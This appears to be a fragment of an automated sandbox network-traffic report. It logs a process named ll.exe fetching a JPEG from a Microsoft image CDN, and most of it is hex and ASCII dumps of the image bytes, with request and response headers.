Data Ascii: Vnqak.3Uk|)<`2`BD<Gq^ihC+rlav8d74h6lrA$[q$6Big`[,GTy{[XN,[VjnH(Mh71`W`9$1'e"inEyB;2xPUFNiP7%C
2022-04-08 08:02:43 UTC4253INData Raw: 41 a4 e7 21 0c cf 4a 0a 7c 4a 3e 9c c6 cb 8c 63 a0 3a b7 63 95 dd bc bb 4f d7 16 f2 49 63 e1 c0 2b 6c 48 00 04 ff 00 24 7f 36 58 03 3e 24 d3 40 be b6 b5 bd 93 58 95 4c 96 f0 86 40 de 2d 4a 51 3e 59 5c 83 24 c2 c0 4b ae b4 77 e4 70 5e 47 d3 1f b5 c4 ff 00 c6 d9 89 28 af 34 75 f5 95 b5 ac 35 8d 78 a2 d0 b2 9f 89 8b d7 a5 73 4f a8 20 36 8d 96 5c 5c 5b dd a0 59 5b d2 90 b2 93 c7 63 cb b5 4e 63 cb 24 65 cf ea 54 9f 51 d3 e5 76 e0 ea 1a 95 d8 9a 82 3a 80 d8 20 48 34 18 d2 19 b4 db 83 74 25 99 bf 7a b4 00 0e 8a a3 c7 fe 23 99 11 9e e8 e1 4a 64 68 f8 ca c6 41 54 91 a8 a3 a8 ae 6e a0 76 6a 2a 6b 6a 49 a1 0b c2 95 53 5e a7 21 29 f4 61 6e d6 b5 f9 6f 0a 9b 86 32 85 5e 2b f1 54 d7 31 e3 0d ed 8c e5 6b b4 8d 61 ad 85 4d 14 1d ca 78 1c bb 87 66 21 ab 7d 42 09 2e 49 f8
Data Ascii: A!J|J>c:cOIc+lH$6X>$@XL@-JQ>Y\$Kwp^G(4u5xsO 6\\[Y[cNc$eTQv: H4t%z#JdhATnvj*kjIS^!)ano2^+T1kaMxf!}B.I
2022-04-08 08:02:43 UTC4269INData Raw: 5d 5d cd 79 34 82 d8 06 28 b5 15 e8 09 c9 85 57 8e d6 38 ed e8 f2 15 95 93 61 d7 8f fc dd 5f 8b 08 60 87 b8 f3 55 e6 85 14 29 6f 27 fa 44 cd 56 2e 4b 6d fb 4d c4 fc 35 c0 43 22 54 c5 8d f6 be 1a fe 49 96 59 55 41 04 51 48 19 89 93 01 99 b4 71 25 57 90 dd 69 b2 24 57 4f b3 2d 40 04 1a 0f f2 a9 df 35 b9 b1 11 b1 67 19 32 8f 2a 79 c5 34 89 89 7a bc 4d b7 06 ad 6b fe 46 63 62 9c b1 1b 03 8b c9 b8 91 2d 9e bf 61 ab 5b 5e 0f dc 1e 41 81 a5 0e 6f 71 e6 8c f9 6e d3 28 90 e6 1c 48 63 d1 7b 65 12 14 6d 9a 98 28 e6 80 53 7a ef 95 58 25 97 25 78 e9 18 a2 d4 ef 5a 7c f2 e8 0e 1e 4c 48 b5 55 a8 6d c6 fd 4e 5b c8 b0 42 cb 10 35 61 f0 93 b1 f9 f8 e6 2c a3 6d 80 a8 f0 29 50 0d 47 cf 2b 02 bc d3 6b 5d d1 85 58 0e 64 fd 9c 91 c8 08 df ea fe 6a d5 14 2e a1 60 c0 16 34 a0 fd
Data Ascii: ]]y4(W8a_`U)o'DV.KmM5C"TIYUAQHq%Wi$WO-@5g2*y4zMkFcb-a[^Aoqn(Hc{em(SzX%%xZ|LHUmN[B5a,m)PG+k]Xdj.`4
2022-04-08 08:02:43 UTC4285INData Raw: 6f aa 41 24 22 e2 e3 e0 50 dc 40 ec 7b 64 59 2a c3 c0 96 7a 80 87 65 23 c0 63 69 53 5b 88 6d 9e 2b 50 4f a9 3d 43 7f aa 30 2a 9d da 20 91 e5 44 0c 29 40 7b d0 64 82 69 8e 5e c5 f5 b7 48 63 52 25 ec 3e 5f b4 46 02 d1 2d d1 77 97 61 4c 71 ae db 00 cd 4f 6c 89 2a 54 61 af ab f1 12 57 ed 6c 69 d3 b6 46 98 b2 4d 29 22 bd f5 2f 64 90 46 c7 75 52 7a d3 db b8 c8 c8 32 09 8e 99 aa 3a 34 a9 01 22 e0 37 36 7a 6e 77 fd 9a 7e cf f2 e6 2d df 26 c0 59 3d a7 98 04 d7 0c ec 86 65 42 15 55 56 bd 47 c5 23 7b 60 19 2c b6 02 98 69 7a 8c d0 b8 b9 81 84 91 c7 c9 68 e2 82 a3 f6 5b e5 fc d8 41 ad f9 f0 b3 e6 29 97 f9 6b cc 76 fa 82 01 25 12 e8 ad 4c 75 dc 03 97 61 c9 1b a3 fd e3 19 c4 f4 64 91 29 27 61 41 4a 54 e6 c2 20 ff 00 55 c7 25 55 49 a6 f9 60 62 55 42 fd d9 6d 31 b5 39 20
Data Ascii: oA$"P@{dY*ze#ciS[m+PO=C0* D)@{di^HcR%>_F-waLqOl*TaWliFM)"/dFuRz2:4"76znw~-&Y=eBUVG#{`,izh[A)kv%Luad)'aAJT U%UI`bUBm19
2022-04-08 08:02:43 UTC4293INData Raw: 5c 49 26 95 fb 86 4f 8a f9 21 57 42 11 c4 ee c8 79 24 6d c9 49 1d 47 cb 21 94 b3 82 3a f2 ef 94 81 98 8e 0f b1 fa 73 1c 06 e2 be 28 7d 14 a3 90 08 04 ad 76 db c3 24 0b 59 08 50 bf 59 2f 35 1a a4 6d dc 0a 65 8c 29 d0 db 14 8c cb 21 e2 48 a0 20 ed 81 21 11 12 ab aa 97 a0 75 53 4a 6d 51 80 a5 46 66 32 48 a0 90 a8 36 af be 00 12 8d 83 d1 48 cf 06 de bb d3 b6 54 59 04 4c be 8b c4 90 7a 8e 5d 8e e3 b0 07 f9 46 42 92 77 42 41 6e 53 94 44 7c 68 78 ab 53 a8 f7 c9 10 d6 ff 00 ff d1 87 e9 fa d5 e5 a3 7d 68 00 02 b5 55 4f d9 61 fe 57 8d 33 5f 4e 75 a3 35 5f 31 49 74 ca 66 22 38 a5 fb 40 74 df f9 47 6c 02 2b 6d c1 70 7f 60 8e 09 d1 b0 33 40 8b 23 70 c0 13 cb 9b f2 f8 b6 e9 e1 91 25 40 66 3a 32 44 50 17 15 63 b5 3b 01 5c c6 22 db 08 4d 22 b5 fa ef c4 aa 19 12 a1 54 1a
Data Ascii: \I&O!WBy$mIG!:s(}v$YPY/5me)!H !uSJmQFf2H6HTYLz]FBwBAnSD|hxS}hUOaW3_Nu5_1Itf"8@tGl+mp`3@#p%@f:2DPc;\"M"T
2022-04-08 08:02:43 UTC4301INData Raw: 59 59 6a 3a 79 65 88 84 5e c4 3f fc 11 5a 66 b3 36 8a cb 6c 72 90 19 56 89 f9 91 ae 69 30 a4 37 10 fd 62 31 52 64 63 be e7 e0 e5 fe 4e 64 63 cd 93 0c 78 47 d3 f5 7a bd 5f ec 90 44 65 cf 9b 24 b2 fc e9 d3 d6 01 fa 51 5a 29 4b f1 f8 7e 35 a7 8f c3 db 36 10 d7 90 2a 63 d5 fd 1f a1 af c2 04 d8 2c 8a 2f 36 e9 17 ae b0 43 70 8e ce 01 03 c4 1f 7c 99 d5 e2 91 11 bf b3 fd f2 04 08 5d 2d 8a 32 93 0d 0e d4 5f f6 f2 bf 0c 1f a7 bb d2 9b 29 5d cd 82 c2 02 90 68 d5 24 11 b8 db 31 e5 8c 47 bf 74 89 5a 0b f4 4b c8 3d 48 94 b2 8f 1d ab 95 1c 27 98 67 c4 a7 2e 8e c4 16 84 06 1b 7c c7 cf 1f 08 91 b2 44 d0 d3 59 b4 4d c6 9b 1e 84 f7 f1 c8 18 d3 2e 24 39 b7 20 d3 60 72 14 92 5a 16 ac f5 60 36 1e d9 30 0b 12 56 7d 4d 88 00 0d ce fe d9 3e 12 8b 53 36 46 94 2a 7b e4 41 2a 83 92
Data Ascii: YYj:ye^?Zf6lrVi07b1RdcNdcxGz_De$QZ)K~56*c,/6Cp|]-2_)]h$1GtZK=H'g.|DYM.$9 `rZ`60V}M>S6F*{A*
2022-04-08 08:02:43 UTC4317INData Raw: c8 97 7a f4 1e 1e d8 aa 14 43 eb 44 fb 70 2d f0 93 dc 50 61 52 af f5 36 6e 31 09 39 34 74 14 1b 57 25 68 45 11 15 6a bf 69 3e 13 4f 7c 0c 79 25 3a a5 cc 4b 1c b6 68 c1 40 50 5d 80 e8 4f 4c 90 63 23 b2 41 ad 73 8b d2 9a 26 e4 95 54 03 dc 0f e3 96 92 d0 76 52 2f 6e ab 24 12 6f 71 4e 60 0e c0 f6 ae 45 53 3f 2a 35 c5 b8 e1 52 18 92 c0 1e d4 5c af 85 20 b2 fd 2b cc 13 24 f0 c2 1c 50 96 e2 2b f6 a8 3e 21 4e b9 1e 45 b8 10 9a ea 29 fa 46 d0 4f fb a8 bd 4a 9e 3c 2a 49 07 f9 ff 00 99 b2 bc b8 f8 87 4f 92 41 a2 c6 62 d1 f5 8d 2c 8b cb 54 62 c2 b4 00 6e 3e 79 a5 96 9c c4 f2 2e 40 93 24 b5 fc d2 b9 8a 38 e0 bf 82 93 56 8e dd a9 e3 93 fc dc c0 af a9 af 6b dd 9d 1b 88 66 09 28 20 87 5e 60 8c cd 9c a2 48 3f e7 32 00 8e 48 4b a9 8b 29 f4 c7 81 e2 73 0b 2c f6 35 fe c9 b2
Data Ascii: zCDp-PaR6n194tW%hEji>O|y%:Kh@P]OLc#As&TvR/n$oqN`ES?*5R\ +$P+>!NE)FOJ<*IOAb,Tbn>y.@$8Vkf( ^`H?2HK)s,5
2022-04-08 08:02:43 UTC4333INData Raw: 29 b0 90 0f 87 e4 e9 fc b8 08 6c 84 d1 67 58 5b 59 8d b0 fe f5 d7 72 07 63 e1 81 ca 13 49 b5 69 83 ca a9 6e 7d 59 7a 31 27 6a 78 65 f0 53 25 b6 11 30 8d 8b 40 1e 24 72 a4 50 d3 7f f2 b1 93 0b 57 d3 b5 28 62 9e 48 92 30 aa eb b7 35 a9 1e ca 4e 0a 4d af d1 35 2b 68 22 92 39 60 22 5d e8 c4 7d d8 78 52 24 84 6b 47 09 26 a1 2a 3b 26 ca 58 f4 f6 a7 b6 1a bd 9c 69 20 6e ef 52 59 7d 58 36 e6 07 20 36 02 9b 76 cb 62 18 09 b7 14 6a a0 b3 7e df 6a e4 8b 30 56 ad 89 9a 42 d1 bf 0e 1d 41 ee 31 55 9a b6 8e 42 7d 65 0d 01 23 6e ff 00 3c 31 92 54 e2 d5 0d b4 0a 5d 16 62 64 20 06 1e 03 ed 62 63 6c 84 a9 76 b3 14 46 38 ae 63 2e 85 c0 2c b5 db 7f e5 c9 43 9d 35 cc 24 67 d4 95 b9 8a 27 cb be 5d c9 a0 a7 36 1a 52 5d 46 5e 49 52 29 00 1b b9 da a3 2b 94 a9 31 8d a3 6c 74 b6 b1
Data Ascii: )lgX[YrcIin}Yz1'jxeS%0@$rPW(bH05NM5+h"9`"]}xR$kG&*;&Xi nRY}X6 6vbj~j0VBA1UB}e#n<1T]bd bclvF8c.,C5$g']6R]F^IR)+1lt
2022-04-08 08:02:43 UTC4341INData Raw: 38 73 65 c1 f4 9b 87 f3 32 7f c5 35 c8 47 27 d4 37 fe 7c 1e 97 a6 fe 70 e8 d7 16 cb 3d db 9b 77 6a d5 08 26 99 b3 c7 da 91 23 d5 19 c6 5f d0 1e 27 e3 89 a6 5a 33 7e 93 13 f1 e1 64 7a 47 9b 34 dd 5a 77 b4 b3 99 5e 78 80 2e 9d c5 73 61 8b 55 1c 86 87 d5 fd 2f 4b 8f 3c 12 80 b3 c9 37 ae 65 38 ee 3b e2 95 19 ad 96 51 46 01 87 b8 ae 53 3c 62 42 8b 21 2a 49 6f bc ba a2 33 e9 02 4d 3e ca 50 66 a3 36 83 d3 e9 ff 00 4b 0e 18 b9 10 cc 41 dd 84 cd 17 07 31 90 01 53 4a 75 39 c6 4b 29 8c b8 76 89 1f 8f e1 76 a0 5e e8 29 6c 95 ab 99 10 9f 7b 12 10 52 c0 42 90 3b 9c cd 8e 4b 6a 31 42 cb 05 0d 10 76 cc 8e 26 ba 41 4f a7 06 14 23 2d 86 42 18 98 a4 7a bf 95 e1 ba 42 84 75 df ad 0e 66 43 53 4c 38 18 e6 a3 e5 a9 61 00 db ad 05 29 b7 5d b3 32 19 44 97 92 55 f5 49 60 91 64 90
Data Ascii: 8se25G'7|p=wj&#_'Z3~dzG4Zw^x.saU/K<7e8;QFS<bB!*Io3M>Pf6KA1SJu9K)vv^)l{RB;Kj1Bv&AO#-BzBufCSL8a)]2DUI`d
2022-04-08 08:02:43 UTC4357INData Raw: 46 5b 18 99 9a fe 1f f7 08 a4 17 d7 f5 22 15 10 50 f1 05 ca 8a 9f bf db 2d f0 a1 cd 90 34 85 d4 85 f5 95 b8 7d 38 55 8b 7a 93 28 6f 88 8e b9 7e 21 19 ca a7 dd e8 40 34 94 df 79 a2 5b 98 0f d6 58 86 8e 36 1c 7a 83 5f e6 cc dc 5a 7a 96 dd 7a b2 26 d8 a4 82 1b 96 0d 10 08 1b 72 07 41 b7 41 9d 24 62 40 dd 90 0a fa 14 4b 05 f2 2b ee 55 c1 af cf 24 79 33 8f 35 0d 43 49 45 b8 95 99 89 0a cc 29 df ae 4e 32 64 46 e9 2c 31 b2 b1 7a 0f 87 2e 2c 11 96 d7 6c 6a ab c7 89 dc a9 db 20 43 25 78 ca b4 ca d2 b3 50 76 5c 8a b5 fb 99 19 a6 49 82 b1 db 83 0d f0 2a 3a 26 e0 18 54 19 0a f0 a8 3b 10 7a e3 4c d0 76 76 46 49 6b 1b 0e 4b fa b0 93 4b 49 aa da 38 97 d4 66 20 7f 2f f1 c8 5b 30 81 bb bc 2e 84 11 c8 73 a0 1e f9 30 18 92 83 9e d0 72 f4 a4 23 a7 22 7e 79 34 52 95 ab 24 6e
Data Ascii: F["P-4}8Uz(o~!@4y[X6z_Zzz&rAA$b@K+U$y35CIE)N2dF,1z.,lj C%xPv\I*:&T;zLvvFIkKKI8f /[0.s0r#"~y4R$n
2022-04-08 08:02:43 UTC4373INData Raw: a9 07 b7 33 5f da 6c c2 cd 80 72 0b 18 52 0f 52 bb 92 2d 2d 9e 19 3d 05 66 11 b1 06 84 d7 7e 2b f4 7d ac b3 0e 3b 95 d7 12 77 0a 6a 2c b5 96 8c df ab dd 24 4b c6 36 2e 41 27 e6 7f dd 63 f9 72 44 cb 15 f0 ff 00 12 c8 71 f3 4c a1 bc d3 cd af d6 23 8e 22 63 2c a1 5a 81 99 bf 95 57 fe 36 cc 68 e2 9f 15 12 5a e4 18 66 a1 34 92 85 96 78 44 72 25 79 91 d4 ef 5d c7 b6 6d 61 11 1f 48 28 08 9d 67 cc c9 ad cb 6b 6b 37 2f aa 5b a2 ac 68 00 1b f5 73 f0 f5 e5 93 86 29 63 8d b7 df 11 a6 4f 0e b8 d6 ba a0 b8 53 e8 da 9f dd 8a f4 50 47 da e3 e2 33 4d 93 4e 25 0a e7 2f a9 95 51 b5 2d 57 53 b3 8d 1a 3b 49 5e 47 35 3f bc ec bd db 6f f8 5c 71 62 91 36 47 0c 7f a2 c4 86 33 69 ab 7a 6c 68 4a a4 87 ec f7 a7 f3 66 ce 58 d8 d2 ae 89 ae cc 2e 1d 02 02 0b 6d e2 b8 72 69 c1 03 bd 97
Data Ascii: 3_lrRR--=f~+};wj,$K6.A'crDqL#"c,ZW6hZf4xDr%y]maH(gkk7/[hs)cOSPG3MN%/Q-WS;I^G5?o\qb6G3izlhJfX.mri
2022-04-08 08:02:43 UTC4381INData Raw: 24 37 ef 2a b0 94 33 89 09 ec 6a 37 19 b0 86 3b 8a 29 bd 4b 5a fa dc ab 33 28 09 c6 81 46 f4 f9 e2 21 41 40 a4 ef 4a d4 5c 43 e8 4a 83 d1 02 a7 fc a3 fe 51 cd 6e 58 8b 64 0a d3 6f 75 04 5c 62 60 11 c9 7e 27 a8 1f cb cb 24 08 2a 0a 43 34 72 ac 8d 50 40 6f 88 03 d3 36 98 c8 23 67 20 15 b7 5a 9c ab 10 83 91 0a 07 c2 05 32 c8 e3 de d2 83 b4 46 9a 44 1b b1 eb bf 86 5e 52 e9 9f 93 16 35 a5 7f 0c 21 4a 83 a5 47 c2 76 3d f2 4c 51 36 73 7d 5c b4 95 f8 d2 84 7d f9 09 0b 48 44 6a f7 29 70 ef 3a 0e a4 10 0f b8 c8 44 33 50 b6 bb 91 19 65 5a 72 42 2b 84 85 4e 6d 8a 5f c3 2c 51 d3 9e c4 07 e8 2b fd 32 b3 b3 2e 69 35 ee 98 63 4f 53 90 52 bb 32 d7 7a e5 f1 9d b5 f0 d2 95 bc 6d 3a fa 44 6f d5 49 fd 59 32 ad c5 a7 cb 3b 05 45 27 e8 c8 d8 55 69 ed 4c 47 94 9b 53 7d fc 3f 97
Data Ascii: $7*3j7;)KZ3(F!A@J\CJQnXdou\b`~'$*C4rP@o6#g Z2FD^R5!JGv=LQ6s}\}HDj)p:D3PeZrB+Nm_,Q+2.i5cOSR2zm:DoIY2;E'UiLGS}?
2022-04-08 08:02:43 UTC4397INData Raw: 40 ce b4 0a 77 07 df 2d 8c b7 6e 05 ff d7 95 bc 34 04 0f bf 38 80 5d b2 c3 1d 05 06 e4 ef 86 d5 69 4a f6 af b6 36 85 16 84 7d 9d b6 e9 92 12 a4 52 9c b6 a4 fc 43 a7 86 4c 48 94 52 12 4b 05 91 78 b0 a0 f6 eb 96 c7 21 08 22 d2 7b ef 2c c5 37 4f 84 ef bf 4c cd 8e a6 9a b8 52 77 f2 d3 c4 c1 d9 b9 d2 a2 87 2d 8e 71 24 f2 4a ef ed 66 8e 70 78 9e 03 2d 04 24 2f b3 bd 26 51 14 ec 52 26 ea d4 ad 00 c8 ca 2c c1 4d b4 d4 fa f2 19 79 d1 cd 68 b4 ec 3e cf d3 95 53 30 99 5b 99 ad 17 d4 8c 96 2b f0 90 77 eb 92 8c 54 af be d4 c4 a6 34 08 89 c9 03 48 ca 3a 9a f4 f9 63 20 c4 36 52 19 e3 11 d4 03 52 08 ef 91 a4 a0 f5 ad 32 19 a1 53 15 56 45 db 90 dc fc b2 24 2d 28 40 5a 25 10 c6 d5 14 35 04 56 bf ec b1 4d 2f f4 64 22 bc 4c 84 8a 0e 27 ec 78 b3 0f b5 b6 4e 98 94 2d e6 ac ca
Data Ascii: @w-n48]iJ6}RCLHRKx!"{,7OLRw-q$Jfpx-$/&QR&,Myh>S0[+wT4H:c 6RR2SVE$-(@Z%5VM/d"L'xN-
2022-04-08 08:02:43 UTC4413INData Raw: 5d 2e a3 24 4a 5d 18 a8 5e 81 46 df 45 32 54 a8 3f ac 4f 2b fa 85 99 d9 f6 df c3 20 52 98 5d 5d b4 30 34 2b 50 64 23 6e d4 f7 ca c8 64 0a f1 37 d5 20 49 6d d8 86 52 00 f9 e5 26 16 cc 14 6d 9c f1 4e 7d 4b a9 8a cc 49 a5 3a 6f f6 98 e5 52 14 cb 9a b2 d8 b7 a0 13 ec aa b7 d2 df 4f 86 55 c4 9a 5b 7f 66 92 5b a8 7e 28 c4 9a 61 05 48 b4 45 9d bc 11 21 49 18 82 12 84 d7 62 47 ec e5 f1 28 a4 3e a3 cf ea 1e 94 a0 05 eb 1f 0d f9 0a ef cb 2d 07 66 05 2b d3 e4 02 50 15 c8 e2 2a 49 e8 14 7d ac 21 08 f5 d6 22 92 d0 3f 10 e9 cc c7 24 6d fc a7 74 20 64 ad 5d 65 e5 d8 9c 96 b7 1e ac 24 16 a9 34 e0 3b ab 7f 36 46 5e 48 5c 25 8a 08 4f e8 22 20 2e a4 3c ef bc a6 9f 69 61 1f ee b4 3f 67 fc ac a8 4f 75 e0 ee 63 aa 1e 18 89 6d cb d6 a7 fa e5 8a 13 8f 33 22 c8 6c 54 90 a8 f6 b1
Data Ascii: ].$J]^FE2T?O+ R]]04+Pd#nd7 ImR&mN}KI:oROU[f[~(aHE!IbG(>-f+P*I}!"?$mt d]e$4;6F^H\%O" .<ia?gOucm3"lT
2022-04-08 08:02:43 UTC4420INData Raw: d5 23 78 d0 cd 2a 4a 9e a5 22 27 92 8e b4 eb ff 00 01 cb 31 e0 14 a4 d6 fc 65 b4 6b 9b 95 31 da 46 db bf 76 23 f6 23 fe 62 d9 97 8f 11 bb 62 91 6b 5a d9 bf 9c 4c d5 fb 34 45 1b 04 03 ec d0 7f c4 b3 69 10 84 b6 f5 3e d0 8c 7c 5b 10 4f 7a e5 b1 63 49 d7 94 75 f6 8a 6f aa 4c df 1f 63 d8 9f e5 c9 11 d5 83 7e 69 b6 58 48 36 c4 c6 67 3f 18 e9 bf cf c3 2c 01 41 62 a0 a7 a8 b1 86 e8 78 d7 09 0a 13 67 93 82 2c 6c 68 ea d5 1f d7 28 21 9d a7 2c f6 d7 d6 87 58 9c 11 34 6c 62 23 f6 5d a9 f6 ab fe 4f ed 64 69 16 92 5c 6a 33 ce 56 53 41 d0 20 1b 0f 0a d3 25 4c 6d a9 6e 9a d2 f8 04 62 ce 54 2a d3 72 0b 0f 8b 0d 6c ca d3 a9 e0 4d 1a d4 7d 70 73 b9 61 b2 06 e8 4f 4f 53 fe 25 95 18 d9 4f 12 4d 75 e6 1b fb a7 0a f2 fa 71 c6 36 e0 28 36 f9 65 c2 0c 49 6c 6b b7 f2 2d 2e 1b d7
Data Ascii: #x*J"'1ek1Fv##bbkZL4Ei>|[OzcIuoLc~iXH6g?,Abxg,lh(!,X4lb#]Odi\j3VSA %LmnbT*rlM}psaOOS%OMuq6(6eIlk-.
2022-04-08 08:02:43 UTC4428INData Raw: 69 59 19 79 25 3e d0 dc 1a f7 c1 6a 97 13 c2 46 54 f7 1b e5 81 0b 91 38 b7 05 ef e3 8d a5 5a 38 84 52 2a 1e e4 64 4a 4b 7a 95 1e 52 01 f9 63 14 29 b4 a1 4d 1b b0 eb de b8 55 50 4d e9 c2 c4 ee b2 6d 5f 96 34 8b 50 96 4e 4c 85 45 0d 77 f9 e4 80 41 28 fb 18 d4 16 e4 4f 21 43 5e d9 5c 94 14 2e a7 23 5c 38 63 ba d6 8b 84 6c 82 b1 6c a1 07 83 92 ac 4f 5c 49 64 22 a9 a8 69 12 d9 a2 b9 a3 20 fd a1 d2 b8 23 90 1d 93 28 d2 0e de c8 cc fc 01 15 63 4a 9e 99 6b 5a ad e1 10 31 b6 e5 cb 8e c4 8c 88 43 a6 98 a0 48 9a 84 0e fe 35 c6 95 ab a9 3d 5e 2a a2 81 46 2b 6b e3 56 58 8b 11 b7 6f 9e 25 8a 8a 58 cd 70 6b 15 18 f8 54 0f d7 85 55 63 96 58 d1 d2 45 dc 0e f8 52 ff 00 ff d5 e4 d6 f6 33 59 84 11 d5 19 88 a6 e6 b9 a3 94 ef 9b 99 1b 0c 9e e6 de 1d 5e d9 22 bc 09 06 a7 06 ea
Data Ascii: iYy%>jFT8Z8R*dJKzRc)MUPMm_4PNLEwA(O!C^\.#\8cllO\Id"i #(cJkZ1CH5=^*F+kVXo%XpkTUcXER3Y^"
2022-04-08 08:02:43 UTC4444INData Raw: cc 8a 8a 01 80 a5 b9 a3 48 ea 62 26 9d f0 02 94 48 96 39 6c e3 8d f6 08 cc 6a 3b e4 3a a4 a5 a1 94 6e 09 cb 98 af 31 bb 2a d3 a1 38 aa 3b 4c 65 42 d6 b3 b5 22 94 10 7d 8f 66 ca c8 64 10 52 c2 60 91 a0 9b 62 a6 99 20 c4 ac 08 54 d3 b9 e9 85 5b 9c 99 37 2b bf 7c 52 54 08 2a 6a 31 50 ab c8 ad 1d 5a 87 bd 31 a4 5a 35 35 43 31 55 9c 06 00 d7 61 42 7e 79 03 16 60 a2 d0 46 92 99 cd 1e dc 9a 15 1f 69 6b d3 6c 83 35 93 e9 e6 61 c8 29 e5 4a a9 f1 51 84 49 89 16 82 8b fd 15 d6 53 b8 e5 51 92 3b a0 35 7f 2f ef 5c 91 d7 a7 cb 27 15 28 6a 02 2a 32 6c 17 a5 c3 29 1d c0 39 1a 55 7b a8 04 f1 9b 88 8e d5 f8 97 c3 df 22 0d 32 43 a2 54 aa 8d ab 85 57 48 38 fc 0f b3 03 f4 61 55 17 42 56 a7 b6 2c 6d 74 23 8b 0f a3 14 aa 86 2b 2f 31 b9 3e 39 12 90 8f 72 56 20 e7 ed 48 6a 7e 8c
Data Ascii: Hb&H9lj;:n1*8;LeB"}fdR`b T[7+|RT*j1PZ1Z55C1UaB~y`Fikl5a)JQISQ;5/\'(j*2l)9U{"2CTWH8aUBV,mt#+/1>9rV Hj~
2022-04-08 08:02:43 UTC4460INData Raw: cf 25 4c 0a c9 dc b0 0d 4a 56 bf 4e f9 20 c0 b4 f7 2c f4 a9 a1 51 4c 69 16 b4 a3 cc e1 4e e4 9c 3c 92 af e9 bc 2e 62 a1 0e 3a fb 60 29 58 39 8f 8b bd 69 8b 17 7d 5c 85 24 90 38 ee 47 7c 55 62 d7 a8 1f 0a 9a e2 86 4d ab 0f ad d8 1b a9 a9 19 75 e4 8a bd 3e 1a 57 31 e2 6a 4e 41 1b 31 35 76 e8 3e ce 65 b8 cb ca f3 1e e3 15 54 86 d9 9c 85 5d c9 f0 c8 b2 57 fa 8f a7 46 63 c5 87 4a 62 95 f1 35 5c 24 c0 9e df 7e 56 5b 41 74 b6 e8 a7 8a b0 6d f7 ef 81 90 56 b6 bd 8e c6 42 61 a4 91 b0 a3 21 e9 82 93 74 a7 34 75 84 18 b6 35 24 83 d4 7f 66 48 31 28 49 59 88 af 61 b6 4d 83 8c a2 30 d4 a1 3d 71 55 3f 59 8f 4d 81 c5 16 dc 07 e2 2d d2 98 0a 42 aa 32 a3 9e 04 d4 8c 89 67 6d c9 3b 03 c3 a8 18 29 16 d1 7e 6d 49 07 6d bd b0 a9 58 50 d2 ab f6 87 5c 28 08 c5 9f d3 21 36 35 f1
Data Ascii: %LJVN ,QLiN<.b:`)X9i}\$8G|UbMu>W1jNA15v>eT]WFcJb5\$~V[AtmVBa!t4u5$fH1(IYaM0=qU?YM-B2gm;)~mImXP\(!65
2022-04-08 08:02:43 UTC4468INData Raw: 29 b6 42 99 5a 37 4e b9 06 91 10 09 62 01 f6 c8 10 c8 29 6a d0 f0 24 7e da 9c 30 44 90 d1 51 c1 92 6a 90 3f 1c 91 62 9d 68 57 3f bd 61 12 d1 58 6f f2 ca e4 1b 22 a5 ac 42 6e d5 e7 8c d7 81 1b 7f c6 d9 18 6c 99 25 b6 17 de 9f c0 db ad 6b f4 e4 e7 16 31 29 c8 b7 12 32 f1 23 a5 72 86 d0 9b 59 48 45 ab f3 db e2 00 fc 86 50 46 ed 81 2d 98 21 af 23 ef 96 02 b4 ba ca ef 8c 81 49 a2 80 7f db c3 cd 09 34 34 9a 76 03 73 c8 8f ed cb 0b 02 9e 5d 5b 47 50 ef bd 40 a5 3d b2 b4 a1 a3 a3 bb 31 d9 68 46 10 a5 2e b8 8c 28 a8 df 2d 8b 10 a3 1a b4 3f bd a0 a7 20 69 f2 c2 77 54 de ea e1 35 48 8b cb 18 59 86 c2 9d 3e 8c a6 23 84 a4 d1 41 45 6d f5 65 f4 c7 da ad 4e 4c 9b 63 4b 27 91 62 4e 4a 3e 26 ea b8 a5 e8 3a a5 d4 7f 55 85 58 33 7c 08 0a 13 ed b6 00 92 18 b6 aa 91 81 e9 c6
Data Ascii: )BZ7Nb)j$~0DQj?bhW?aXo"Bnl%k1)2#rYHEPF-!#I44vs][GP@=1hF.(-? iwT5HY>#AEmeNLcK'bNJ>&:UX3|


Session IDSource IPSource PortDestination IPDestination PortProcess
15192.168.2.34999323.10.249.43443C:\Users\user\Desktop\ll.exe
TimestampkBytes transferredDirectionData
2022-04-08 08:02:42 UTC82OUTGET /cms/api/am/imageFileData/RWP0UC?ver=2f44 HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134
Host: img-prod-cms-rt-microsoft-com.akamaized.net
Connection: Keep-Alive
2022-04-08 08:02:42 UTC1426INHTTP/1.1 200 OK
Content-Type: image/jpeg
Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RWP0UC?ver=2f44
Last-Modified: Thu, 07 Apr 2022 10:42:26 GMT
Access-Control-Allow-Origin: *
X-Source-Length: 1654488
X-Datacenter: northeu
X-ActivityId: abdce6fd-750b-4250-8d13-1c71db5b1df8
Timing-Allow-Origin: *
X-Frame-Options: deny
X-ResizerVersion: 1.0
Content-Length: 1654488
Cache-Control: public, max-age=355227
Expires: Tue, 12 Apr 2022 10:43:09 GMT
Date: Fri, 08 Apr 2022 08:02:42 GMT
Connection: close
2022-04-08 08:02:42 UTC1427INData Raw: ff d8 ff e1 14 ed 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 91 87 69 00 04 00 00 00 01 00 00 00 a8 00 00 00 d4 00 0e a6 00 00 00 27 10 00 0e a6 00 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 31 2e 31 20 28 57 69 6e 64 6f 77 73 29 00 32 30 32 31 3a 31 31 3a 31 31 20 30 36 3a 35 35 3a 33 38 00 00 00 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 04 38 a0 03 00 04 00 00 00 01 00 00 07 80 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 1a 00 05 00 00 00 01 00 00 01 22 01 1b 00 05 00
Data Ascii: ExifMM*bj(1r2i''Adobe Photoshop 21.1 (Windows)2021:11:11 06:55:388"
